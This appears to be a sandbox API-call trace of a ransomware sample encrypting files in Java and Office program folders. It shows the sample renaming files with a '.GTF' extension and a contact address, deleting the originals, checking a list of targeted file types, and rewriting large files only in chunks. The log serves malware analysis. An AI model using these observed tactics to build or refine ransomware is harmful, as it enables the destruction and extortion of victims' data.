	[0072.905] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x19c20, lpOverlapped=0x0) returned 1
	[0072.908] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.908] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0072.908] SetEndOfFile (hFile=0x35c) returned 1
	[0072.908] CloseHandle (hObject=0x35c) returned 1
	[0072.910] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.910] SetEndOfFile (hFile=0x2d0) returned 1
	[0072.912] CloseHandle (hObject=0x2d0) returned 1
	[0072.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0072.912] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.912] lstrlenW (lpString=".doc") returned 4
	[0072.912] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0072.912] lstrlenW (lpString=".docx") returned 5
	[0072.912] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0072.913] lstrlenW (lpString=".pdf") returned 4
	[0072.913] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString=".xls") returned 4
	[0072.913] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString=".xlsx") returned 5
	[0072.913] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0072.913] lstrlenW (lpString=".ppt") returned 4
	[0072.913] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.913] lstrlenW (lpString=".zip") returned 4
	[0072.913] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString=".rar") returned 4
	[0072.913] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString=".bz2") returned 4
	[0072.913] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0072.913] lstrlenW (lpString=".7z") returned 3
	[0072.913] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.913] lstrlenW (lpString=".dbf") returned 4
	[0072.913] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.913] lstrlenW (lpString=".1cd") returned 4
	[0072.913] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.913] lstrlenW (lpString=".jpg") returned 4
	[0072.913] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.913] lstrlenW (lpString=".doc") returned 4
	[0072.915] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0072.915] lstrlenW (lpString=".docx") returned 5
	[0072.915] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0072.915] lstrlenW (lpString=".pdf") returned 4
	[0072.915] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0072.915] lstrlenW (lpString=".xls") returned 4
	[0072.916] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0072.916] lstrlenW (lpString=".xlsx") returned 5
	[0072.916] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0072.916] lstrlenW (lpString=".ppt") returned 4
	[0072.916] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0072.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.916] lstrlenW (lpString=".zip") returned 4
	[0072.916] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0072.916] lstrlenW (lpString=".rar") returned 4
	[0072.916] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0072.916] lstrlenW (lpString=".bz2") returned 4
	[0072.916] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0072.916] lstrlenW (lpString=".7z") returned 3
	[0072.916] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0072.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.916] lstrlenW (lpString=".dbf") returned 4
	[0072.916] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0072.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.916] lstrlenW (lpString=".1cd") returned 4
	[0072.916] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0072.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0072.916] lstrlenW (lpString=".jpg") returned 4
	[0072.916] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0072.916] lstrcmpiW (lpString1=".txt", lpString2=".GTF") returned 1
	[0072.916] lstrlenW (lpString="README.txt") returned 10
	[0072.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.977] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=46) returned 1
	[0072.977] CloseHandle (hObject=0x35c) returned 1
	[0072.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20
	[0072.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.993] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.993] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0072.993] GetLastError () returned 0x0
	[0072.993] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2e, lpOverlapped=0x0) returned 1
	[0073.003] WriteFile (in: hFile=0x2d4, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x30, lpOverlapped=0x0) returned 1
	[0073.004] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.004] WriteFile (in: hFile=0x2d4, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0073.004] SetEndOfFile (hFile=0x2d4) returned 1
	[0073.005] CloseHandle (hObject=0x2d4) returned 1
	[0073.005] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.005] SetEndOfFile (hFile=0x35c) returned 1
	[0073.006] CloseHandle (hObject=0x35c) returned 1
	[0073.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.006] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString=".doc") returned 4
	[0073.007] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString=".docx") returned 5
	[0073.007] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0073.007] lstrlenW (lpString=".pdf") returned 4
	[0073.007] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString=".xls") returned 4
	[0073.007] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0073.007] lstrlenW (lpString=".xlsx") returned 5
	[0073.007] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0073.007] lstrlenW (lpString=".ppt") returned 4
	[0073.007] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString=".zip") returned 4
	[0073.007] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0073.007] lstrlenW (lpString=".rar") returned 4
	[0073.007] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString=".bz2") returned 4
	[0073.007] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString=".7z") returned 3
	[0073.007] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString=".dbf") returned 4
	[0073.007] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString=".1cd") returned 4
	[0073.007] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString=".jpg") returned 4
	[0073.007] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.007] lstrlenW (lpString=".doc") returned 4
	[0073.008] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString=".docx") returned 5
	[0073.008] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0073.008] lstrlenW (lpString=".pdf") returned 4
	[0073.008] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString=".xls") returned 4
	[0073.008] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0073.008] lstrlenW (lpString=".xlsx") returned 5
	[0073.008] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0073.008] lstrlenW (lpString=".ppt") returned 4
	[0073.008] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.008] lstrlenW (lpString=".zip") returned 4
	[0073.008] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0073.008] lstrlenW (lpString=".rar") returned 4
	[0073.008] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString=".bz2") returned 4
	[0073.008] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString=".7z") returned 3
	[0073.008] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0073.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.008] lstrlenW (lpString=".dbf") returned 4
	[0073.008] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.008] lstrlenW (lpString=".1cd") returned 4
	[0073.008] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0073.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45
	[0073.008] lstrlenW (lpString=".jpg") returned 4
	[0073.008] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0073.008] lstrcmpiW (lpString1=".html", lpString2=".GTF") returned 1
	[0073.008] lstrlenW (lpString="Welcome.html") returned 12
	[0073.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0073.009] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=955) returned 1
	[0073.009] CloseHandle (hObject=0x35c) returned 1
	[0073.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20
	[0073.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0073.009] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.009] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0073.009] GetLastError () returned 0x0
	[0073.009] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x3bb, lpOverlapped=0x0) returned 1
	[0073.011] WriteFile (in: hFile=0x2d4, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3c0, lpOverlapped=0x0) returned 1
	[0073.012] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.012] WriteFile (in: hFile=0x2d4, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.012] SetEndOfFile (hFile=0x2d4) returned 1
	[0073.012] CloseHandle (hObject=0x2d4) returned 1
	[0073.014] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.014] SetEndOfFile (hFile=0x35c) returned 1
	[0073.014] CloseHandle (hObject=0x35c) returned 1
	[0073.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.015] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1
	[0073.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.015] lstrlenW (lpString=".doc") returned 4
	[0073.015] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString=".docx") returned 5
	[0073.015] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0073.015] lstrlenW (lpString=".pdf") returned 4
	[0073.015] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString=".xls") returned 4
	[0073.015] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString=".xlsx") returned 5
	[0073.015] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0073.015] lstrlenW (lpString=".ppt") returned 4
	[0073.015] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.015] lstrlenW (lpString=".zip") returned 4
	[0073.015] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString=".rar") returned 4
	[0073.015] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString=".bz2") returned 4
	[0073.015] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0073.015] lstrlenW (lpString=".7z") returned 3
	[0073.015] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString=".dbf") returned 4
	[0073.016] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString=".1cd") returned 4
	[0073.016] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString=".jpg") returned 4
	[0073.016] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString=".doc") returned 4
	[0073.016] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString=".docx") returned 5
	[0073.016] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0073.016] lstrlenW (lpString=".pdf") returned 4
	[0073.016] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString=".xls") returned 4
	[0073.016] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString=".xlsx") returned 5
	[0073.016] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0073.016] lstrlenW (lpString=".ppt") returned 4
	[0073.016] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString=".zip") returned 4
	[0073.016] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString=".rar") returned 4
	[0073.016] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString=".bz2") returned 4
	[0073.016] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString=".7z") returned 3
	[0073.016] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.016] lstrlenW (lpString=".dbf") returned 4
	[0073.016] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0073.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.017] lstrlenW (lpString=".1cd") returned 4
	[0073.017] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0073.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0073.017] lstrlenW (lpString=".jpg") returned 4
	[0073.017] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0073.017] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.017] lstrlenW (lpString="AppXManifest.xml") returned 16
	[0073.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0073.017] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5944055) returned 1
	[0073.017] CloseHandle (hObject=0x35c) returned 1
	[0073.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20
	[0073.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0073.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0073.018] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0x0) returned 1
	[0073.018] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.018] ReadFile (in: hFile=0x35c, lpBuffer=0x32de058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x32de058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.022] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.022] ReadFile (in: hFile=0x35c, lpBuffer=0x331e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x331e058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.033] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.033] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.033] ReadFile (in: hFile=0x35c, lpBuffer=0x335e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x335e058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.489] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.489] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2d5fca8, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fca8*=0xc010c, lpOverlapped=0x0) returned 1
	[0073.507] SetEndOfFile (hFile=0x35c) returned 1
	[0073.508] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f433b0
	[0073.512] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1
